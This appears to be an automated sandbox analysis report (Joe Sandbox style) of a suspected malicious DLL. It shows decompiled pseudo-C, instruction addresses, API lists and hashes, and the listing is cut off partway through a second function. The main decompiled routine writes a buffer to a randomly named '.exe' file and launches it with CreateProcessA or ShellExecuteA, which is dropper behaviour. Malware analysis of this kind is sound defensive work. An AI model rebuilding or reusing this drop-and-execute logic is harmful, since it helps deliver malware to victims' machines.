				void* _v572;
				void* _v584;
				void* _v596;
				void* __esi;
				void* __ebp;
				signed int _t168;
				char _t174;
				void* _t177;
				void* _t183;
				signed int* _t185;
				signed int _t190;
				unsigned int _t217;
				void* _t218;
				signed int _t219;
				signed int _t225;
				signed int _t228;
				signed int _t230;
				void* _t231;
				signed int _t232;
				signed int _t233;
				char* _t235;
				void* _t241;
				signed int _t242;
				signed int _t243;
				long _t244;
				intOrPtr _t251;
				CHAR* _t253;
				void* _t260;
				intOrPtr _t269;
				signed int _t274;
				signed int _t278;
				signed int _t282;
				void* _t283;
				signed int _t285;
				char _t292;
				void* _t294;
				signed int _t295;
				void** _t297;
				signed int* _t307;
				signed int _t309;
				void* _t310;
				signed int _t315;
				signed int _t316;
				void* _t321;
				char* _t325;
				intOrPtr _t326;
				signed int _t332;
				signed int _t333;
				void* _t336;
				intOrPtr _t337;
				signed int _t338;
				void* _t339;
				signed int _t343;
				signed int _t348;
				intOrPtr _t349;
				void* _t350;
				void* _t351;
				void* _t352;
				void* _t353;
				char _t354;
				signed int _t356;
				void* _t357;
				signed int _t358;
				signed int _t360;
				char _t361;
				signed int _t364;
				signed int _t367;
				void* _t368;
				void* _t369;
				signed int* _t370;
				char* _t372;
				void* _t376;
				intOrPtr _t377;
				void* _t378;
				void* _t380;
				void* _t381;
				signed int _t382;
				signed int _t384;
				void* _t389;
				void* _t393;
				void* _t399;

				_t399 = __eflags;
				_t341 = __edx;
				_t294 = __ebx;
				_t384 = (_t382 & 0xfffffff0) - 0x228;
				_t168 =  *0x10017004; // 0xdfd3a356
				_v8 = _t168 ^ _t384;
				_t367 = _a8;
				_push(__edi);
				_t356 = _a4;
				E100064B5(__ecx, E10006436(__ecx, __edx, 0));
				E10004730(_t356,  &_v340, 0, 0x148);
				_v328 = _t367;
				_v336 = 0x7a120;
				_push(0x7a120); // executed
				_t174 = E1000320D(__ebx, _t356, _t367, _t399); // executed
				_v340 = _t174;
				E10004730(_t356, _t174, 0, _v336);
				_t176 = _v296;
				_t389 = _t384 + 0x24;
				_v304 = 0xfde9;
				_v284 = 0;
				_v280 = 0;
				_v276 = 0;
				_v288 = 0;
				if(_v296 != 0) {
					E10003224(_t176);
					_t389 = _t389 + 4;
					_v296 = 0;
				}
				_push(_t356);
				_t177 = E100014F0( &_v340); // executed
				if(_t177 == 0) {
					_t368 = 0xfffffffd;
					goto L60;
				} else {
					if(_v296 == 0) {
						L58:
						_t368 = 0;
						goto L60;
					} else {
						_t183 = _v284;
						if(_t183 == 0 || _t183 <= 2) {
							goto L58;
						} else {
							if(_t183 <= 0xc00) {
								_t368 = _t367 | 0xffffffff;
								goto L60;
							} else {
								E10001F90( &_v472, _t356);
								_t406 = _v456;
								if(_v456 == 0) {
									_t368 = 0xfffffffe;
									goto L53;
								} else {
									_t233 = E10006494( &_v472, _t406);
									asm("cdq");
									_t235 = E10001EB0(_t389 + 0x24, _t233 % 7 + 5);
									_push(_t235);
									L98();
									_t325 = _t235;
									_t389 = _t389 + 4;
									_t356 =  *(_t325 + 0x14);
									_t376 =  *(_t325 + 0x10);
									if(_t356 - _t376 < 4) {
										_push(4);
										_v548 = 0;
										_t325 = E10002E00(_t294, _t325, _t356, _t376, 4, _v548, ".exe");
									} else {
										_t354 = _t325;
										 *(_t325 + 0x10) = _t376 + 4;
										if(_t356 >= 0x10) {
											_t354 =  *_t325;
										}
										_t292 = ".exe"; // 0x6578652e
										 *(_t354 + _t376) = _t292;
										 *((char*)(_t354 + _t376 + 4)) = 0;
									}
									asm("movups xmm1, [ecx]");
									asm("movq xmm0, [ecx+0x10]");
									asm("movq [esp+0x80], xmm0");
									 *(_t325 + 0x10) = 0;
									 *(_t325 + 0x14) = 0xf;
									 *_t325 = 0;
									_t377 = _v456;
									_t326 = _v432;
									asm("movd edi, xmm1");
									_push(_t326);
									asm("movaps [esp+0x74], xmm1");
									_t347 =  >=  ? _t356 :  &(_v452.hThread);
									_push( >=  ? _t356 :  &(_v452.hThread));
									if(_t326 > _v452.hProcess - _t377) {
										_v552 = 0;
										_push(_v552);
										_push(_t326);
										_t241 = E10002E00(_t294,  &_v472, _t356, _t377);
										_t356 =  *(_t389 + 0x70);
										_t368 = _t241;
									} else {
										_v456 = _t326 + _t377;
										_t288 =  >=  ? _v472 :  &_v472;
										_t378 = _t377 + ( >=  ? _v472 :  &_v472);
										_push(_t378);
										E10005BC0();
										_t389 = _t389 + 0xc;
										 *((char*)(_t378 + _v432)) = 0;
										_t368 =  &_v472;
									}
									 *(_t389 + 0x40) = 0;
									_v484 = 0;
									 *(_t389 + 0x54) = 0;
									_t242 =  *(_t368 + 0x10);
									_v556 = _t242;
									if( *((intOrPtr*)(_t368 + 0x14)) >= 0x10) {
										_t368 =  *_t368;
									}
									if(_t242 >= 0x10) {
										_t243 = _t242 | 0x0000000f;
										__eflags = _t243 - 0x7fffffff;
										_t244 =  >  ? 0x7fffffff : _t243;
										_v504 = _t244;
										_t332 =  ~(0 | _t243 - 0x7fffffff > 0x00000000) | _t244 + 0x00000001;
										__eflags = _t332 - 0x1000;
										if(_t332 < 0x1000) {
											__eflags = _t332;
											if(__eflags == 0) {
												_t333 = 0;
												__eflags = 0;
											} else {
												_push(_t332);
												_t282 = E10003229(_t294, _t356, _t368, __eflags);
												_t389 = _t389 + 4;
												_t333 = _t282;
											}
											goto L27;
										} else {
											_t66 = _t332 + 0x23; // 0x23
											_t283 = _t66;
											__eflags = _t283 - _t332;
											if(__eflags <= 0) {
												E10001DE0(_t294);
												goto L62;
											} else {
												_push(_t283);
												_t285 = E10003229(_t294, _t356, _t368, __eflags);
												_t389 = _t389 + 4;
												__eflags = _t285;
												if(__eflags == 0) {
													goto L62;
												} else {
													_t67 = _t285 + 0x23; // 0x23
													_t333 = _t67 & 0xffffffe0;
													 *(_t333 - 4) = _t285;
													L27:
													__eflags = _v556 + 1;
													 *(_t389 + 0x40) = _t333;
													E10005BC0(_t333, _t368, _v556 + 1);
													_t389 = _t389 + 0xc;
													_v484 = _v556;
													 *(_t389 + 0x54) = _v504;
													goto L28;
												}
											}
										}
									} else {
										asm("movups xmm0, [esi]");
										_v484 = _t242;
										 *(_t389 + 0x54) = 0xf;
										asm("movups [esp+0x40], xmm0");
										L28:
										_t251 = _v432;
										if(_t251 < 0x10) {
											L32:
											_t348 = _v532;
											if(_t348 < 0x10) {
												L36:
												_t349 = _v508;
												_v536 = 0;
												_v532 = 0xf;
												_v552 = 0;
												if(_t349 < 0x10) {
													L40:
													_t253 =  >=  ?  *(_t389 + 0x40) : _t389 + 0x40;
													if(_v300 != 0 && _v288 != 0) {
														_t368 = CreateFileA(_t253, 0x40000000, 1, 0, 2, 0x80, 0);
														if(_t368 != 0xffffffff) {
															_v504 = 0;
															WriteFile(_t368, _v300, _v288,  &_v504, 0);
															CloseHandle(_t368);
														}
													}
													 *(_t389 + 0x9c) = 0x44;
													asm("xorps xmm0, xmm0");
													_t255 =  >=  ?  *((void*)(_t389 + 0x58)) : _t389 + 0x58;
													asm("movlpd [esp+0xc4], xmm0");
													asm("movlpd [esp+0xcc], xmm0");
													asm("movlpd [esp+0xd4], xmm0");
													asm("movlpd [esp+0xdc], xmm0");
													asm("movlpd [esp+0xe4], xmm0");
													asm("movlpd [esp+0xec], xmm0");
													asm("movlpd [esp+0xf4], xmm0");
													asm("movlpd [esp+0xfc], xmm0");
													asm("movaps [esp+0x98], xmm0");
													if(CreateProcessA( >=  ?  *((void*)(_t389 + 0x58)) : _t389 + 0x58, 0, 0, 0, 0, 0, 0, 0, _t389 + 0x9c,  &_v452) == 0 ||  *((intOrPtr*)(_t389 + 0x78)) == 0xffffffff) {
														_t258 =  >=  ?  *((void*)(_t389 + 0x44)) : _t389 + 0x40;
														ShellExecuteA(0, "open",  >=  ?  *((void*)(_t389 + 0x44)) : _t389 + 0x40, 0, 0, 0xa);
													}
													_t350 =  *(_t389 + 0x54);
													if(_t350 < 0x10) {
														L51:
														_t368 = 1;
														L53:
														_t341 = _v452.hThread;
														if(_t341 < 0x10) {
															L60:
															E10003224(_v336); // executed
															E10003224(_v296); // executed
															E10003224(_v292);
															__imp__CoUninitialize();
															_pop(_t357);
															_pop(_t369);
															return E100031FF(_t368, _t294, _v4 ^ _t389 + 0xc, _t341, _t357, _t369);
														} else {
															_t307 = _v468;
															_t341 = _t341 + 1;
															_t185 = _t307;
															if(_t341 < 0x1000) {
																L56:
																_push(_t341);
																E10003216(_t307);
																_t389 = _t389 + 8;
																goto L60;
															} else {
																_t307 =  *(_t307 - 4);
																_t341 = _t341 + 0x23;
																if(_t185 - _t307 + 0xfffffffc > 0x1f) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t336 =  *(_t389 + 0x40);
														_t351 = _t350 + 1;
														_t260 = _t336;
														if(_t351 < 0x1000) {
															L50:
															_push(_t351);
															E10003216(_t336);
															_t389 = _t389 + 8;
															goto L51;
														} else {
															_t307 =  *(_t336 - 4);
															_t341 = _t351 + 0x23;
															if(_t260 - _t307 + 0xfffffffc > 0x1f) {
																goto L63;
															} else {
																goto L50;
															}
														}
													}
												} else {
													_t337 =  *((intOrPtr*)(_t389 + 0x24));
													_t352 = _t349 + 1;
													_t269 = _t337;
													if(_t352 < 0x1000) {
														L39:
														_push(_t352);
														E10003216(_t337);
														_t389 = _t389 + 8;
														goto L40;
													} else {
														_t307 =  *(_t337 - 4);
														_t341 = _t352 + 0x23;
														if(_t269 - _t307 + 0xfffffffc > 0x1f) {
															goto L62;
														} else {
															goto L39;
														}
													}
												}
											} else {
												_t338 = _v552;
												_t353 = _t348 + 1;
												_t274 = _t338;
												if(_t353 < 0x1000) {
													L35:
													_push(_t353);
													E10003216(_t338);
													_t389 = _t389 + 8;
													goto L36;
												} else {
													_t307 =  *(_t338 - 4);
													_t341 = _t353 + 0x23;
													if(_t274 - _t307 + 0xfffffffc > 0x1f) {
														goto L62;
													} else {
														goto L35;
													}
												}
											}
										} else {
											_t339 = _t251 + 1;
											_t278 = _t356;
											if(_t339 < 0x1000) {
												L31:
												_push(_t339);
												E10003216(_t356);
												_t389 = _t389 + 8;
												goto L32;
											} else {
												_t356 =  *(_t356 - 4);
												_t307 = _t339 + 0x23;
												if(_t278 - _t356 + 0xfffffffc > 0x1f) {
													L62:
													E1000633C(_t294, _t307, _t341, __eflags);
													L63:
													E1000633C(_t294, _t307, _t341, __eflags);
													L64:
													E1000633C(_t294, _t307, _t341, __eflags);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_t380 = _t389;
													_t393 = _t389 - 0xc;
													_push(_t368);
													_t370 = _t307;
													_push(_t356);
													_t358 = _v552;
													_t190 = _t370[4];
													 *(_t380 - 8) = _t190;
													__eflags = _t190 - _t358;
													if(_t190 > _t358) {
														L94:
														return _t190;
													} else {
														_push(_t294);
														_t295 = _t370[5];
														_v20 = _t295;
														__eflags = _t295 - _t358;
														if(__eflags == 0) {
															L93:
															goto L94;
														} else {
															if(__eflags >= 0) {
																__eflags = _t358 - 0x10;
																if(_t358 >= 0x10) {
																	goto L93;
																} else {
																	__eflags = _t295 - 0x10;
																	if(_t295 < 0x10) {
																		goto L93;
																	} else {
																		_t360 =  *_t370;
																		E10005BC0(_t370, _t360, _t190 + 1);
																		_t393 = _t393 + 0xc;
																		_t309 = _t370[5] + 1;
																		__eflags = _t309 - 0x1000;
																		if(_t309 < 0x1000) {
																			L92:
																			_push(_t309);
																			_t190 = E10003216(_t360);
																			_t370[5] = 0xf;
																			goto L93;
																		} else {
																			_t342 =  *(_t360 - 4);
																			_t309 = _t309 + 0x23;
																			_t358 = _t360 - _t342;
																			_t144 = _t358 - 4; // -3
																			__eflags = _t144 - 0x1f;
																			if(__eflags > 0) {
																				goto L95;
																			} else {
																				_t360 = _t342;
																				goto L92;
																			}
																		}
																	}
																}
															} else {
																_t342 = 0x7fffffff;
																_t309 = _t358 - _t190;
																__eflags = 0x7fffffff - _v16 - _t309;
																if(0x7fffffff - _v16 < _t309) {
																	L96:
																	E10001CA0(_t309);
																	goto L97;
																} else {
																	_t315 = _t358 | 0x0000000f;
																	__eflags = _t315 - 0x7fffffff;
																	if(__eflags <= 0) {
																		_t217 = _t295 >> 1;
																		_t342 = 0x7fffffff - _t217;
																		__eflags = _t295 - 0x7fffffff - _t217;
																		if(__eflags <= 0) {
																			_t218 = _t217 + _t295;
																			__eflags = _t315 - _t218;
																			_t316 =  <  ? _t218 : _t315;
																			_v12 = _t316;
																			_t219 = _t316;
																		} else {
																			_t219 = 0x7fffffff;
																			_v12 = 0x7fffffff;
																		}
																	} else {
																		_t219 = 0x7fffffff;
																		_v12 = 0x7fffffff;
																	}
																	_t309 =  ~(0 | __eflags > 0x00000000) | _t219 + 0x00000001;
																	__eflags = _t309 - 0x1000;
																	if(_t309 < 0x1000) {
																		__eflags = _t309;
																		if(__eflags == 0) {
																			_t295 = 0;
																			__eflags = 0;
																		} else {
																			_push(_t309);
																			_t230 = E10003229(_t295, _t358, _t370, __eflags);
																			_t393 = _t393 + 4;
																			_t295 = _t230;
																		}
																		goto L81;
																	} else {
																		_t127 = _t309 + 0x23; // 0x23
																		_t231 = _t127;
																		__eflags = _t231 - _t309;
																		if(__eflags <= 0) {
																			L97:
																			E10001DE0(_t295);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_push(_t380);
																			_t381 = _t393;
																			_push(_t309);
																			_push(_t295);
																			_push(_t370);
																			_t372 =  *((intOrPtr*)(_t381 + 8));
																			_t297 = _t309;
																			 *(_t381 - 4) = _t297;
																			_t343 =  *(_t372 + 0x14);
																			_t310 =  *(_t372 + 0x10);
																			__eflags = _t343 - _t310 - 1;
																			if(_t343 - _t310 < 1) {
																				_push(1);
																				_v4 = 0;
																				_push(_v4);
																				_push(1);
																				_t372 = E10002F60(_t297, _t372, _t358, _t372);
																			} else {
																				_t150 = _t310 + 1; // 0x1
																				 *(_t372 + 0x10) = _t150;
																				_push(_t358);
																				_t361 = _t372;
																				__eflags = _t343 - 0x10;
																				if(_t343 >= 0x10) {
																					_t361 =  *_t372;
																				}
																				__eflags = _t361 - 0x10014e71;
																				if(_t361 >= 0x10014e71) {
																					L106:
																					_v4 = 1;
																				} else {
																					__eflags = _t361 + _t310 - "\\";
																					if(_t361 + _t310 < "\\") {
																						goto L106;
																					} else {
																						__eflags = _t361 - "\\";
																						if(_t361 > "\\") {
																							_v4 = _t361 - "\\";
																						} else {
																							_v4 = 0;
																						}
																					}
																				}
																				_t156 = _t310 + 1; // 0x1
																				E10005BC0(_t361 + 1, _t361, _t156);
																				E10005BC0(_t361, "\\", _v4);
																				_t160 = _v4 + 0x10014e71; // 0x10014e72
																				E10005BC0(_t361 + _v4, _t160, 1 - _v4);
																			}
																			 *_t297 = 0;
																			_t297[4] = 0;
																			_t297[5] = 0;
																			asm("movups xmm0, [esi]");
																			asm("movups [ebx], xmm0");
																			asm("movq xmm0, [esi+0x10]");
																			asm("movq [ebx+0x10], xmm0");
																			 *(_t372 + 0x10) = 0;
																			 *(_t372 + 0x14) = 0xf;
																			 *_t372 = 0;
																			return _t297;
																		} else {
																			_push(_t231);
																			_t232 = E10003229(_t295, _t358, _t370, __eflags);
																			_t393 = _t393 + 4;
																			__eflags = _t232;
																			if(__eflags == 0) {
																				L95:
																				E1000633C(_t295, _t309, _t342, __eflags);
																				goto L96;
																			} else {
																				_t128 = _t232 + 0x23; // 0x23
																				_t295 = _t128 & 0xffffffe0;
																				 *(_t295 - 4) = _t232;
																				L81:
																				_t370[5] = _v12;
																				_t370[4] = _t358;
																				__eflags = _v20 - 0x10;
																				_push(_v16 + 1);
																				if(_v20 < 0x10) {
																					_push(_t370);
																					_push(_t295);
																					E10005BC0();
																					_t225 = _v16;
																					 *_t370 = _t295;
																					_t370[4] = _t225;
																					return _t225;
																				} else {
																					_t364 =  *_t370;
																					_push(_t364);
																					_push(_t295);
																					E10005BC0();
																					_t393 = _t393 + 0xc;
																					_t321 = _v20 + 1;
																					__eflags = _t321 - 0x1000;
																					if(_t321 < 0x1000) {
																						L85:
																						_push(_t321);
																						E10003216(_t364);
																						_t228 = _v16;
																						 *_t370 = _t295;
																						_t370[4] = _t228;
																						return _t228;
																					} else {
																						_t342 =  *(_t364 - 4);
																						_t309 = _t321 + 0x23;
																						_t358 = _t364 - _t342;
																						_t137 = _t358 - 4; // -3
																						__eflags = _t137 - 0x1f;
																						if(__eflags > 0) {
																							goto L95;
																						} else {
																							_t364 = _t342;
																							goto L85;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												} else {
													goto L31;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x10002450
0x10002450
0x10002450
0x10002456
0x1000245c
0x10002463
0x1000246b
0x1000246e
0x1000246f
0x1000247d
0x10002494
0x1000249c
0x100024a3
0x100024ae
0x100024b3
0x100024bb
0x100024cc
0x100024d1
0x100024d8
0x100024db
0x100024e6
0x100024f1
0x100024fc
0x10002507
0x10002514
0x10002517
0x1000251c
0x1000251f
0x1000251f
0x1000252a
0x10002532
0x10002539
0x100029b4
0x00000000
0x1000253f
0x10002547
0x100029b0
0x100029b0
0x00000000
0x1000254d
0x1000254d
0x10002556
0x00000000
0x10002565
0x1000256a
0x100029ab
0x00000000
0x10002570
0x10002574
0x10002579
0x1000257e
0x10002972
0x00000000
0x10002584
0x10002584
0x10002589
0x10002598
0x1000259d
0x100025a2
0x100025a7
0x100025a9
0x100025ac
0x100025b1
0x100025b9
0x100025d9
0x100025e0
0x100025f0
0x100025bb
0x100025be
0x100025c0
0x100025c6
0x100025c8
0x100025c8
0x100025ca
0x100025cf
0x100025d2
0x100025d2
0x100025f2
0x100025f9
0x100025fe
0x1000260f
0x10002616
0x1000261d
0x10002624
0x10002628
0x1000262f
0x10002633
0x10002634
0x10002639
0x1000263e
0x10002641
0x10002674
0x10002679
0x1000267d
0x10002682
0x10002687
0x1000268b
0x10002643
0x1000264b
0x10002653
0x10002658
0x1000265a
0x1000265b
0x10002667
0x1000266a
0x1000266e
0x1000266e
0x1000268d
0x10002695
0x1000269d
0x100026a9
0x100026ac
0x100026b0
0x100026b2
0x100026b2
0x100026b7
0x100026d2
0x100026da
0x100026dc
0x100026e1
0x100026ed
0x100026ef
0x100026f5
0x1000271e
0x10002720
0x1000272f
0x1000272f
0x10002722
0x10002722
0x10002723
0x10002728
0x1000272b
0x1000272b
0x00000000
0x100026f7
0x100026f7
0x100026f7
0x100026fa
0x100026fc
0x10002a02
0x00000000
0x10002702
0x10002702
0x10002703
0x10002708
0x1000270b
0x1000270d
0x00000000
0x10002713
0x10002713
0x10002716
0x10002719
0x10002731
0x10002735
0x10002736
0x1000273d
0x10002746
0x10002749
0x10002751
0x00000000
0x10002751
0x1000270d
0x100026fc
0x100026b9
0x100026b9
0x100026bc
0x100026c0
0x100026c8
0x10002755
0x10002755
0x1000275f
0x1000278c
0x1000278c
0x10002793
0x100027c2
0x100027c2
0x100027c6
0x100027ce
0x100027d6
0x100027de
0x1000280d
0x10002816
0x10002823
0x10002848
0x1000284d
0x10002855
0x1000286d
0x10002874
0x10002874
0x1000284d
0x1000288b
0x1000289f
0x100028a6
0x100028b2
0x100028bb
0x100028c4
0x100028cd
0x100028d6
0x100028df
0x100028e8
0x100028f1
0x100028fa
0x1000290a
0x1000291e
0x1000292f
0x1000292f
0x10002935
0x1000293c
0x1000296b
0x1000296b
0x10002977
0x10002977
0x1000297e
0x100029b9
0x100029c0
0x100029cf
0x100029de
0x100029e6
0x100029f5
0x100029f6
0x10002a01
0x10002980
0x10002980
0x10002984
0x10002985
0x1000298d
0x1000299f
0x1000299f
0x100029a1
0x100029a6
0x00000000
0x1000298f
0x1000298f
0x10002992
0x1000299d
0x00000000
0x00000000
0x00000000
0x00000000
0x1000299d
0x1000298d
0x1000293e
0x1000293e
0x10002942
0x10002943
0x1000294b
0x10002961
0x10002961
0x10002963
0x10002968
0x00000000
0x1000294d
0x1000294d
0x10002950
0x1000295b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000295b
0x1000294b
0x100027e0
0x100027e0
0x100027e4
0x100027e5
0x100027ed
0x10002803
0x10002803
0x10002805
0x1000280a
0x00000000
0x100027ef
0x100027ef
0x100027f2
0x100027fd
0x00000000
0x00000000
0x00000000
0x00000000
0x100027fd
0x100027ed
0x10002795
0x10002795
0x10002799
0x1000279a
0x100027a2
0x100027b8
0x100027b8
0x100027ba
0x100027bf
0x00000000
0x100027a4
0x100027a4
0x100027a7
0x100027b2
0x00000000
0x00000000
0x00000000
0x00000000
0x100027b2
0x100027a2
0x10002761
0x10002761
0x10002764
0x1000276c
0x10002782
0x10002782
0x10002784
0x10002789
0x00000000
0x1000276e
0x1000276e
0x10002771
0x1000277c
0x10002a07
0x10002a07
0x10002a0c
0x10002a0c
0x10002a11
0x10002a11
0x10002a16
0x10002a17
0x10002a18
0x10002a19
0x10002a1a
0x10002a1b
0x10002a1c
0x10002a1d
0x10002a1e
0x10002a1f
0x10002a21
0x10002a23
0x10002a26
0x10002a27
0x10002a29
0x10002a2a
0x10002a2d
0x10002a30
0x10002a33
0x10002a35
0x10002ba4
0x10002ba9
0x10002a3b
0x10002a3b
0x10002a3c
0x10002a3f
0x10002a42
0x10002a44
0x10002ba3
0x00000000
0x10002a4a
0x10002a4a
0x10002b5c
0x10002b5f
0x00000000
0x10002b61
0x10002b61
0x10002b64
0x00000000
0x10002b66
0x10002b66
0x10002b6c
0x10002b74
0x10002b77
0x10002b78
0x10002b7e
0x10002b92
0x10002b92
0x10002b94
0x10002b9c
0x00000000
0x10002b80
0x10002b80
0x10002b83
0x10002b86
0x10002b88
0x10002b8b
0x10002b8e
0x00000000
0x10002b90
0x10002b90
0x00000000
0x10002b90
0x10002b8e
0x10002b7e
0x10002b64
0x10002a50
0x10002a52
0x10002a57
0x10002a5e
0x10002a60
0x10002bb1
0x10002bb1
0x00000000
0x10002a66
0x10002a68
0x10002a6b
0x10002a6d
0x10002a78
0x10002a7a
0x10002a7c
0x10002a7e
0x10002a8a
0x10002a8c
0x10002a8e
0x10002a91
0x10002a94
0x10002a80
0x10002a80
0x10002a85
0x10002a85
0x10002a6f
0x10002a6f
0x10002a71
0x10002a71
0x10002aa0
0x10002aa2
0x10002aa8
0x10002ad1
0x10002ad3
0x10002ae2
0x10002ae2
0x10002ad5
0x10002ad5
0x10002ad6
0x10002adb
0x10002ade
0x10002ade
0x00000000
0x10002aaa
0x10002aaa
0x10002aaa
0x10002aad
0x10002aaf
0x10002bb6
0x10002bb6
0x10002bbb
0x10002bbc
0x10002bbd
0x10002bbe
0x10002bbf
0x10002bc0
0x10002bc1
0x10002bc3
0x10002bc4
0x10002bc5
0x10002bc6
0x10002bc9
0x10002bcb
0x10002bce
0x10002bd3
0x10002bd8
0x10002bdb
0x10002c64
0x10002c69
0x10002c6f
0x10002c72
0x10002c79
0x10002be1
0x10002be1
0x10002be4
0x10002be7
0x10002be8
0x10002bea
0x10002bed
0x10002bef
0x10002bef
0x10002bf1
0x10002bf7
0x10002c20
0x10002c20
0x10002bf9
0x10002bfc
0x10002c01
0x00000000
0x10002c03
0x10002c03
0x10002c09
0x10002c1b
0x10002c0b
0x10002c0b
0x10002c0b
0x10002c09
0x10002c01
0x10002c27
0x10002c30
0x10002c3e
0x10002c4e
0x10002c59
0x10002c61
0x10002c7b
0x10002c83
0x10002c8a
0x10002c91
0x10002c94
0x10002c97
0x10002c9c
0x10002ca1
0x10002ca8
0x10002caf
0x10002cb7
0x10002ab5
0x10002ab5
0x10002ab6
0x10002abb
0x10002abe
0x10002ac0
0x10002bac
0x10002bac
0x00000000
0x10002ac6
0x10002ac6
0x10002ac9
0x10002acc
0x10002ae4
0x10002ae7
0x10002aee
0x10002af1
0x10002af5
0x10002af6
0x10002b41
0x10002b42
0x10002b43
0x10002b48
0x10002b4e
0x10002b50
0x10002b59
0x10002af8
0x10002af8
0x10002afa
0x10002afb
0x10002afc
0x10002b04
0x10002b07
0x10002b08
0x10002b0e
0x10002b26
0x10002b26
0x10002b28
0x10002b2d
0x10002b33
0x10002b35
0x10002b3e
0x10002b10
0x10002b10
0x10002b13
0x10002b16
0x10002b18
0x10002b1b
0x10002b1e
0x00000000
0x10002b24
0x10002b24
0x00000000
0x10002b24
0x10002b1e
0x10002b0e
0x10002af6
0x10002ac0
0x10002aaf
0x10002aa8
0x10002a60
0x10002a4a
0x10002a44
0x00000000
0x00000000
0x00000000
0x1000277c
0x1000276c
0x1000275f
0x100026b7
0x1000257e
0x1000256a
0x10002556
0x10002547

APIs

Part of subcall function 10006436: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10002479,00000000), ref: 10006449
Part of subcall function 10006436: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000647A

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 10002842
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 1000286D
CloseHandle.KERNEL32(00000000), ref: 10002874
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 10002902
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 1000292F
CoUninitialize.OLE32 ref: 100029E6
Concurrency::cancel_current_task.LIBCPMT ref: 10002A02

Strings

D, xrefs: 1000288B
.exe, xrefs: 100025CA, 100025DB
open, xrefs: 10002928

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: File$CreateTime$CloseConcurrency::cancel_current_taskExecuteHandleProcessShellSystemUninitializeUnothrow_t@std@@@Write__ehfuncinfo$??2@
String ID: .exe$D$open
API String ID: 486856157-1167955346
Opcode ID: 94542779c2cbe68dcfa0da88a96b167bcfe548502e27a71f2e7a21729ccdced1
Instruction ID: a5dc631b58f12eb130fcfc4579c604e67e83b8f68047a22d4781f4a2ecc51844
Opcode Fuzzy Hash: 94542779c2cbe68dcfa0da88a96b167bcfe548502e27a71f2e7a21729ccdced1
Instruction Fuzzy Hash: 2CE1E2716083809BF724CB24CC45B9FB7E5FF85380F108A2CF599962D5DBB1E9848B92

Uniqueness

Uniqueness Score: -1.00%

Function 00428A6E Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00428A6E(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t162;
				intOrPtr _t178;
				signed int* _t186;
				void* _t188;
				signed int* _t189;
				signed int _t191;
				char _t196;
				signed int _t202;
				signed int _t205;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t226;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				signed int _t238;
				signed char _t241;
				signed int _t242;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t268;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;
				signed int _t289;

				_t263 = E004287BC(__ecx,  &_v72, _a16, _a20, _a24);
				_t191 = 6;
				memcpy( &_v48, _t263, _t191 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t191 + _t191;
				_t264 = _t263 | 0xffffffff;
				_t288 = _v36 - _t264;
				if(_v36 != _t264) {
					_t114 = E004257BE(_t188, _t249, _t264, __eflags);
					_t189 = _a8;
					 *_t189 = _t114;
					__eflags = _t114 - _t264;
					if(__eflags != 0) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t276,  &_v48, 1 << 2);
						_t196 = 0;
						_t122 = E00428727(); // executed
						_t253 = _t122;
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E00425709(_t196, _t253,  *_t189, _t253);
								_t241 = _v5 | 0x00000001;
								_v5 = _t241;
								_v48 = _t241;
